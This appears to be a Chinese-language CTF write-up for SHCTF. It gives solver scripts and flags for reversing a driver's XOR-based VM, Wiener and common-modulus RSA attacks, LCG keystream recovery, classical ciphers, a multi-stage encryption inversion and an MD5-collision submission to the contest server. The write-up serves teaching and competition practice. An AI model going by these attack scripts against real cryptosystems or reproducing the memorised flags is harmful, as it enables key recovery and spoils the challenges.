lm a fffff8022e2a1030 的作用是反查“这个地址属于哪个模块”,便于确认确实在目标驱动里、顺便拿模块范围。

  1. 先用 !drvobj 拿到 IRP_MJ_DEVICE_CONTROL 地址
  2. 再 u/uf 反汇编它看逻辑

找一下pe文件头,dump程序(可选)

这里直接用地址去提一下数据,是一个小型vm解释器。一个函数用于初始化,一个函数用于执行。分析一下发现算法就是一个简单的异或

用SHCTF开头对前6个字节处理 可以还原出整个flag

1
2
3
k[i] = (0x07 + 0x0d*i) mod 0xfb, i=0..47
正向:out[i] = (flag[i] XOR k[i]) + 0x10 (mod 256)
逆向:flag[i] = (out[i] - 0x10) XOR k[i]

密文提出来写个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
out = bytes.fromhex(
"64 6c 72 8a 8d 43 17 61 49 5f 0b b3 a0 ff 9e b4 "
"fe 9d cf 40 33 7f 53 89 8d 1e 19 32 44 d9 dd ec "
"dd fc 03 f0 cf 90 c3 49 8f 26 51 87 28 44 64 19"
)

flag = []
for i, o in enumerate(out):
k = (0x07 + 0x0D * i) % 0xFB
c = ((o - 0x10) & 0xFF) ^ k
flag.append(c)

print(bytes(flag).decode())

# SHCTF{R3V3r53_3n9iN33riN9_WILL_CaU53_mI5f0r7Un3}

Misc

Evan

binwalk一键获取flag

关注公众号送flag

调查问卷送flag

密码

AES的诞生

AES的题目里 key = (str(int(time()*1e6)) * 2).encode(),要求 str(int(time()*1e6)) 长度=16,所以对应的“诞生时间”必须在 2001-09-09 之后(微秒时间戳才会到 16 位)。

“AES 诞生”通常指 FIPS-197 发布日:2001-11-26。

用 北京时间 2001-11-26 00:00:00 (UTC+8):

epoch seconds = 1006704000

微秒 = 1006704000000000

key(32字节)= b”10067040000000001006704000000000”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import re
from pathlib import Path
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding

data = Path("/mnt/data/data.txt").read_text().splitlines()

iv_hex = re.search(r"iv\s*=\s*([0-9a-f]+)", data[0]).group(1)
cts = [re.search(r"\|\s*([0-9a-f]+)\s*\|", line).group(1)
for line in data if line.strip().startswith("|")]

iv = bytes.fromhex(iv_hex)

# AES “birth”: 2001-11-26 00:00:00 UTC+8 -> epoch=1006704000
micro = 1006704000000000
key = (str(micro) * 2).encode() # 32 bytes -> AES-256

cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
pkcs7 = padding.PKCS7(algorithms.AES.block_size)

groups = []
for ct_hex in cts:
decryptor = cipher.decryptor()
pt_padded = decryptor.update(bytes.fromhex(ct_hex)) + decryptor.finalize()
unpadder = pkcs7.unpadder()
pt = unpadder.update(pt_padded) + unpadder.finalize()
groups.append(pt.decode())

# 拼回二进制串:最后一组含随机填充,遇到非 0/1 就截断
last = groups[-1]
k = 0
while k < len(last) and last[k] in "01":
k += 1

bits = "".join(groups[:-1]) + last[:k]
val = int(bits, 2)
blen = (val.bit_length() + 7) // 8
flag = val.to_bytes(blen, "big").decode()

print(flag)


Ez_RSA

e 太大了,d肯定很小。 连分数的方法直接把d猜出来。 用低解密指数攻击 解flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from Crypto.Util.number import long_to_bytes

# 题目给出的数据
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299
e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689
c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774

def continued_fractions(n, d):
"""计算连分数展开"""
res = []
while d:
res.append(n // d)
n, d = d, n % d
return res

def convergents(cf):
"""从连分数中提取渐近分数 (k/d)"""
nm = [0, 1]
dn = [1, 0]
for x in cf:
nm.append(x * nm[-1] + nm[-2])
dn.append(x * dn[-1] + dn[-2])
yield nm[-1], dn[-1]

def wiener_attack(e, n):
"""Wiener's Attack 核心逻辑"""
cf = continued_fractions(e, n)
for k, d in convergents(cf):
if k == 0: continue
# 根据 ed = k*phi + 1,推导 phi = (ed - 1) // k
if (e * d - 1) % k == 0:
phi = (e * d - 1) // k
# 解方程 x^2 - (n - phi + 1)x + n = 0 得到 p, q
b = n - phi + 1
# 判别式 delta = b^2 - 4n
import gmpy2
delta = b*b - 4*n
if delta > 0 and gmpy2.is_square(delta):
print(f"[+] 成功找到 d: {d}")
return d
return None

d = wiener_attack(e, n)

if d:
m = pow(c, d, n)
print(f"[+] Flag: {long_to_bytes(m).decode()}")
else:
print("[-] 维纳攻击失败,可能需要 Boneh-Durfee 攻击。")

# SHCTF{e950ea87356fc62ce6323253a672680e}

Stream

提示LCG,用 LCG 差分关系恢复模数 m和然后在求一下参数a,c。最后从 x6 往后生成密钥流,异或 C_flag 得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import gcd, invert

# 题目数据
P_known = b'Insecure_linear_congruential_random_number!!!!!!'
C_known_hex = "44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91a"
C_flag_hex = "1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a"

c_known_bytes = bytes.fromhex(C_known_hex)
c_flag_bytes = bytes.fromhex(C_flag_hex)

ks = []
for i in range(0, len(P_known), 8):
p_block = bytes_to_long(P_known[i:i + 8])
c_block = bytes_to_long(c_known_bytes[i:i + 8])
ks.append(p_block ^ c_block)

x = ks

# 2. 还原参数 m
# y_i = x_{i+1} - x_i
y = [x[i + 1] - x[i] for i in range(len(x) - 1)]
# m 应该是 (y_{i+2}*y_i - y_{i+1}^2) 的公约数
m_candidates = []
for i in range(len(y) - 2):
m_candidates.append(abs(y[i + 2] * y[i] - y[i + 1] ** 2))

m = m_candidates[0]
for val in m_candidates[1:]:
m = gcd(m, val)

try:
a = (x[2] - x[1]) * invert(x[1] - x[0], m) % m
c = (x[1] - a * x[0]) % m

s0 = (x[0] - c) * invert(a, m) % m
print(f"[+] Found Parameters:\n m = {m}\n a = {a}\n c = {c}\n s0 = {s0}")


def get_next_ks(last_x, n, m, a, c):
res = []
curr = last_x
for _ in range(n):
curr = (a * curr + c) % m
res.append(curr)
return res


num_flag_blocks = len(c_flag_bytes) // 8
ks_flag = get_next_ks(x[-1], num_flag_blocks, m, a, c)

flag_blocks = []
for i in range(num_flag_blocks):
c_block = bytes_to_long(c_flag_bytes[i * 8:(i + 1) * 8])
flag_blocks.append(c_block ^ ks_flag[i])

flag = b''.join(long_to_bytes(fb) for fb in flag_blocks)
print(f"\n[+] Decrypted Flag: {flag.decode().strip(chr(0))}")

except Exception as e:
print(f"[-] Error: {e}")


# SHCTF{LLLLLLLLLLLLLLLCCCCCGGGGGGGGG_TGY%JgWOmAM6V5n55w3m*jcPJZjHO8E1VvzrGjT84tXS332D&o4GZe8%KKzEyAngmwwx9bp5dv_O4dPpOvMy}

TE

** RSA 共模攻击**
$$
题目中给出了:相同的模数 n 。相同的明文 m 。不同的公钥指数 e_1, e_2 和对应的密文 c_1, c_2 。如果 e_1 和 e_2 互质(即 \gcd(e_1, e_2) = 1 ),我们可以根据 贝祖定理 (Bézout’s identity) 找到两个整数 s_1 和 s_2 ,使得: s_1 e_1 + s_2 e_2 = 1 根据模运算性质:
$$

$$
c_1^{s_1} \cdot c_2^{s_2} \equiv (m^{e_1})^{s_1} \cdot (m^{e_2})^{s_2} \equiv m^{s_1 e_1 + s_2 e_2} \equiv m^1 \equiv m \pmod n
$$
注意: $s_1$ 和 $s_2

若 $ s_1 < 0 $,则
$$
c_1^{s_1} \pmod n 等价于 (c_1^{-1})^{-s_1} \pmod n
$$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import gmpy2
from Crypto.Util.number import long_to_bytes

# 题目给出的数据
e1 = 740153575
e2 = 2865243571
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323

def common_modulus_attack(n, e1, e2, c1, c2):

g, s1, s2 = gmpy2.gcdext(e1, e2)

# 确保 e1 和 e2 互质
if g != 1:
print("[-] e1 and e2 are not coprime!")
return None


m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
return m

# 执行攻击
m_long = common_modulus_attack(n, e1, e2, c1, c2)

# 输出结果
if m_long:
try:
flag = long_to_bytes(m_long)
print(f"[+] Decrypted Flag: {flag.decode()}")
except Exception as e:
print(f"[!] Decoding error (might be raw bytes): {long_to_bytes(m_long)}")

#SHCTF{lYQkkk3ud4hqV3fZtPWH077vhI2Bqcz19ZRxf1vwRU8Ej4uvrJcF02Sd4bzjxqUH5096qWDIdTyEJ$JzF}

not_eight_length

RSA密码

探测解出来 m 的比特长度: 301,刚好7整除。证明 7-bit ASCII 编码。正常解就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import gmpy2

n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527
e = 65537
c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446


root = gmpy2.isqrt(n)
p = gmpy2.next_prime(root)
while n % p != 0:
p = gmpy2.next_prime(p)
q = n // p


phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)


print(f"[*] m 的比特长度: {m.bit_length()}")

m_bin = bin(m)[2:]

while len(m_bin) % 7 != 0:
m_bin = '0' + m_bin

flag = ""
for i in range(0, len(m_bin), 7):
chunk = m_bin[i:i+7]
char_code = int(chunk, 2)
flag += chr(char_code)

print(f"\n[+] FLAG: {flag}")

#SHCTF{99f4a238-9bd5-498a-b8ea-5cd243a36a19}

解出来换一下头部SHCTF即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import string

cipher = "bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}"
encode_key = "ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA"

alpha = string.ascii_lowercase

def bacon_decode(ab: str) -> str:
# 24-letter Bacon alphabet: I/J merged, U/V merged
table = "ABCDEFGHIKLMNOPQRSTUWXYZ"
ab = "".join(ch for ch in ab if ch in "AB")
assert len(ab) % 5 == 0
out = []
for i in range(0, len(ab), 5):
bits = ab[i:i+5].replace("A", "0").replace("B", "1")
v = int(bits, 2)
out.append(table[v])
return "".join(out)

def autokey_vigenere_decrypt(ct: str, init_key: str) -> str:
# key stream: init_key then plaintext letters appended
ks = [alpha.index(ch.lower()) for ch in init_key if ch.lower() in alpha]
ki = 0
res = []
for ch in ct:
low = ch.lower()
if low in alpha:
c = alpha.index(low)
k = ks[ki]
p = (c - k) % 26
res_ch = alpha[p]
res.append(res_ch if ch.islower() else res_ch.upper())
ks.append(p) # append plaintext index to keystream (Autokey)
ki += 1
else:
res.append(ch)
return "".join(res)

init_key = bacon_decode(encode_key) # -> NOTVIGENERE
pt = autokey_vigenere_decrypt(cipher, init_key)

print("[+] init_key =", init_key)
print("[+] plaintext =", pt)

# 如果你只想提取 flag:
if "{" in pt and "}" in pt:
flag = pt[pt.index("{")-5:pt.index("}")+1] # 粗略截取
print("[+] maybe flag =", flag)

古典也颇有韵味啊

1
2
密文:bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}
encode_key:ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA

A/B 字符串可以知道是培根密码,解出key

接出来提示 NOTVIGENERE ,但是密文又很像维吉尼亚,猜测变体。( 密钥流 = 初始 key + 明文追加 )。解一下得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import string

cipher = "bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}"
encode_key = "ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA"
alpha = string.ascii_lowercase

def bacon_decode(ab: str) -> str:
table = "ABCDEFGHIKLMNOPQRSTUWXYZ" # I/J合并, U/V合并
ab = "".join(ch for ch in ab if ch in "AB")
assert len(ab) % 5 == 0
out = []
for i in range(0, len(ab), 5):
bits = ab[i:i+5].replace("A", "0").replace("B", "1")
out.append(table[int(bits, 2)])
return "".join(out)

def autokey_vigenere_decrypt(ct: str, init_key: str) -> str:
ks = [alpha.index(ch.lower()) for ch in init_key if ch.lower() in alpha]
ki = 0
res = []
for ch in ct:
low = ch.lower()
if low in alpha:
c = alpha.index(low)
k = ks[ki]
p = (c - k) % 26
res_ch = alpha[p]
res.append(res_ch if ch.islower() else res_ch.upper())
ks.append(p) # Autokey关键:追加明文
ki += 1
else:
res.append(ch)
return "".join(res)

init_key = bacon_decode(encode_key) # NOTVIGENERE
pt = autokey_vigenere_decrypt(cipher, init_key)

print("init_key:", init_key)
print("plaintext:", pt)

Titanium Lock

加密体系:

  1. f1: 链式随机化置换(存在 $0/1$ 二义性)。
  2. f2: 12 x16的仿射变换(矩阵乘法 + 偏置)。
  3. f3: 基于 popcount 的 LPN 变体加密,配合 AES-CTR。

先 逆向 f3 恢复 AES Key 然后 逆向 f2 线性映射构建方程组在转为分数。然后逆向 f1 恢复随机数, Seedf1 的每一位数字 $ d $ 依赖于随机数 $ r $ 和前一个状态 $ last $:$ enc_i = \begin{cases} (d + r) \oplus last_{i-1}, & d \in {0,2,4,6,8} \ (d \cdot r) \oplus last_{i-1}, & d \in {1,3,5,7,9} \end{cases} $

解出seed=137780 最后 处理 0/1 二义性 用 SHCTF{ 开头进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
import ast
import hashlib
import random
from fractions import Fraction
from pathlib import Path

from Crypto.Cipher import AES


def load_data(path: str = "data.txt"):
parts = {}
for line in Path(path).read_text().splitlines():
k, v = line.split(" = ", 1)
parts[k] = v
return (
ast.literal_eval(parts["p1"]),
ast.literal_eval(parts["p2"]),
ast.literal_eval(parts["trace"]),
bytes.fromhex(parts["result"]),
)


def solve_key_from_trace(trace):
# For y=1 rows: sum(n_i * k_i) == 1 (mod 3), k_i in {0,1}.
rows = [[(n >> i) & 1 for i in range(128)] + [1] for n, b in trace if b == 1]
m = len(rows)
nvar = 128
a = [row[:] for row in rows]

r = 0
pivots = []
for c in range(nvar):
p = None
for rr in range(r, m):
if a[rr][c] % 3:
p = rr
break
if p is None:
continue

a[r], a[p] = a[p], a[r]
if a[r][c] % 3 == 2:
for cc in range(c, nvar + 1):
a[r][cc] = (a[r][cc] * 2) % 3

for rr in range(m):
if rr == r:
continue
f = a[rr][c] % 3
if f:
for cc in range(c, nvar + 1):
a[rr][cc] = (a[rr][cc] - f * a[r][cc]) % 3
pivots.append(c)
r += 1

x = [0] * nvar
for rr, c in enumerate(pivots):
x[c] = a[rr][nvar] % 3
if not set(x) <= {0, 1}:
raise ValueError("Recovered key bits are not binary.")

key = 0
for i, bit in enumerate(x):
if bit:
key |= 1 << i

# Sanity check with all trace constraints.
for n, b in trace:
s = 0
for i, bit in enumerate(x):
if bit and ((n >> i) & 1):
s += 1
if ((s % 3) % 2) != b:
raise ValueError("Trace verification failed.")
return key


def invert_12x12_int(matrix_12x12, rhs_12):
n = 12
t = [
[Fraction(matrix_12x12[i][j]) for j in range(n)] + [Fraction(rhs_12[i])]
for i in range(n)
]
r = 0
for c in range(n):
p = None
for i in range(r, n):
if t[i][c] != 0:
p = i
break
if p is None:
raise ValueError("Singular 12x12 system.")
t[r], t[p] = t[p], t[r]
f = t[r][c]
for j in range(c, n + 1):
t[r][j] /= f
for i in range(n):
if i == r:
continue
f = t[i][c]
if f != 0:
for j in range(c, n + 1):
t[i][j] -= f * t[r][j]
r += 1

out = []
for i in range(n):
if t[i][n].denominator != 1:
raise ValueError("Non-integer solution in f2 inversion.")
out.append(int(t[i][n]))
return out


def invert_f2(mid, p1, p2):
vals = []
for off in range(0, len(mid), 16):
y = mid[off : off + 16]
b = [y[i] - p2[i] for i in range(16)]
chunk = invert_12x12_int(p1, b[:12])
for r in range(16):
lhs = sum(p1[r][c] * chunk[c] for c in range(12))
if lhs != b[r]:
raise ValueError("f2 overdetermined row check failed.")
vals.extend(chunk)
return vals


def digit_options(expr, r):
opts = []
de = expr - r
if de in (0, 2, 4, 6, 8):
opts.append(str(de))
if expr % r == 0:
od = expr // r
if od in (1, 3, 5, 7, 9):
opts.append(str(od))
return list(dict.fromkeys(opts))


def derive_options_with_seed(enc, seed):
random.seed(seed)
last = 0
options = []
for e in enc:
r = random.randint(100000, 999999)
opts = digit_options(e ^ last, r)
if not opts:
return None
options.append(opts)
last = e
return options


def recover_seed_and_options(vals):
# Find the unique seed that explains the longest f1-valid prefix.
best_len = -1
best_seed = None
for seed in range(100000, 1000000):
random.seed(seed)
last = 0
cur_len = 0
for e in vals:
r = random.randint(100000, 999999)
if not digit_options(e ^ last, r):
break
cur_len += 1
last = e
if cur_len > best_len:
best_len = cur_len
best_seed = seed

if best_seed is None:
raise ValueError("No candidate seed found.")

pad = len(vals) - best_len
if not (0 <= pad < 12):
raise ValueError("Recovered pad length out of range.")
enc = vals[:best_len]
tail = vals[best_len:]
if not all(0 <= t <= 255 for t in tail):
raise ValueError("Recovered tail is not byte padding.")

options = derive_options_with_seed(enc, best_seed)
if options is None:
raise ValueError("Recovered seed failed f1 option check.")

random.seed(best_seed)
for _ in range(best_len):
random.randint(100000, 999999)
pad_bytes = [random.randint(0, 255) for _ in range(pad)]
if pad_bytes != tail:
raise ValueError("Padding bytes do not match RNG stream.")

return best_seed, options


def choose_flag_from_options(options):
# Ambiguous positions are exactly '0'/'1'. Use deterministic SA with flag prior.
pattern = "".join("?" if len(o) == 2 else o[0] for o in options)
amb_pos = [i for i, ch in enumerate(pattern) if ch == "?"]
base = int(pattern.replace("?", "0"))
l = len(pattern)
weights = [10 ** (l - 1 - i) for i in amb_pos]
msg_len = 67
prefix = b"SHCTF{"
allowed = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_@$-!")

def score(bits):
n = base
for b, w in zip(bits, weights):
if b:
n += w
bb = n.to_bytes(msg_len, "big")
s = 0
for i, ch in enumerate(prefix):
if bb[i] == ch:
s += 300
if bb[: len(prefix)] == prefix:
s += 3000
if bb[-1] == ord("}"):
s += 1200
s += sum(32 <= c < 127 for c in bb) * 20
if bb[: len(prefix)] == prefix and bb[-1] == ord("}"):
body = bb[len(prefix) : -1]
s += sum(c in allowed for c in body) * 20
return s, bb

best = (-1, b"")
random.seed(0)
for _ in range(120):
bits = [1] * len(weights)
for _ in range(12):
bits[random.randrange(len(bits))] ^= 1
sc, bb = score(bits)
t = 40.0
for _ in range(35000):
i = random.randrange(len(bits))
bits[i] ^= 1
ns, nb = score(bits)
d = ns - sc
if d >= 0 or random.random() < pow(2.718281828, d / max(t, 1e-9)):
sc, bb = ns, nb
else:
bits[i] ^= 1
t *= 0.99993

if sc > best[0]:
best = (sc, bb)
if bb.startswith(prefix) and bb.endswith(b"}") and all(32 <= c < 127 for c in bb):
return bb.decode()

return best[1].decode(errors="replace")


def main():
p1, p2, trace, ct = load_data("data.txt")

key = solve_key_from_trace(trace)
aes_key = hashlib.md5(str(key).encode()).digest()
mid = ast.literal_eval(
AES.new(aes_key, AES.MODE_CTR, nonce=b"Tiffany\x00").decrypt(ct).decode()
)
vals = invert_f2(mid, p1, p2)
seed, options = recover_seed_and_options(vals)
flag = choose_flag_from_options(options)

print(f"[+] key = {key}")
print(f"[+] seed = {seed}")
print(f"[+] flag = {flag}")


if __name__ == "__main__":
main()

hash1

md5碰撞题,输入不通的字符串要求一样的hash。

网上找公开的 MD5 碰撞样本作为 apple1 和 apple2。直接打就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import argparse
import hashlib
import socket


APPLE1_HEX = (
"d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89"
"55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5b"
"d8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0"
"e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
)
APPLE2_HEX = (
"d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89"
"55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5b"
"d8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0"
"e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
)


def build_payload() -> str:
return f"{APPLE1_HEX},{APPLE2_HEX}"


def self_check() -> None:
apple1 = bytes.fromhex(APPLE1_HEX)
apple2 = bytes.fromhex(APPLE2_HEX)
h1 = hashlib.md5(apple1).hexdigest()
h2 = hashlib.md5(apple2).hexdigest()
if apple1 == apple2:
raise ValueError("collision sample invalid: apple1 == apple2")
if h1 != h2:
raise ValueError("collision sample invalid: md5(apple1) != md5(apple2)")


def solve_remote(host: str, port: int, timeout: float) -> str:
payload = (build_payload() + "\n").encode()
out = []

with socket.create_connection((host, port), timeout=timeout) as sock:
sock.settimeout(timeout)

# Read banner/prompt.
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
out.append(chunk)
if b"apple2)) :" in chunk or b") :" in chunk:
break
except socket.timeout:
pass

sock.sendall(payload)

# Read result.
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
out.append(chunk)
except socket.timeout:
pass

return b"".join(out).decode("utf-8", errors="replace")


def main() -> None:
parser = argparse.ArgumentParser(description="Solve MD5 collision apple challenge.")
parser.add_argument("--host", default="challenge.shc.tf", help="remote host")
parser.add_argument("--port", type=int, default=32158, help="remote port")
parser.add_argument(
"--print-only",
action="store_true",
help="only print payload for manual nc usage",
)
parser.add_argument(
"--timeout", type=float, default=5.0, help="socket timeout in seconds"
)
args = parser.parse_args()

self_check()

if args.print_only:
print(build_payload())
return

print(solve_remote(args.host, args.port, args.timeout), end="")


if __name__ == "__main__":
main()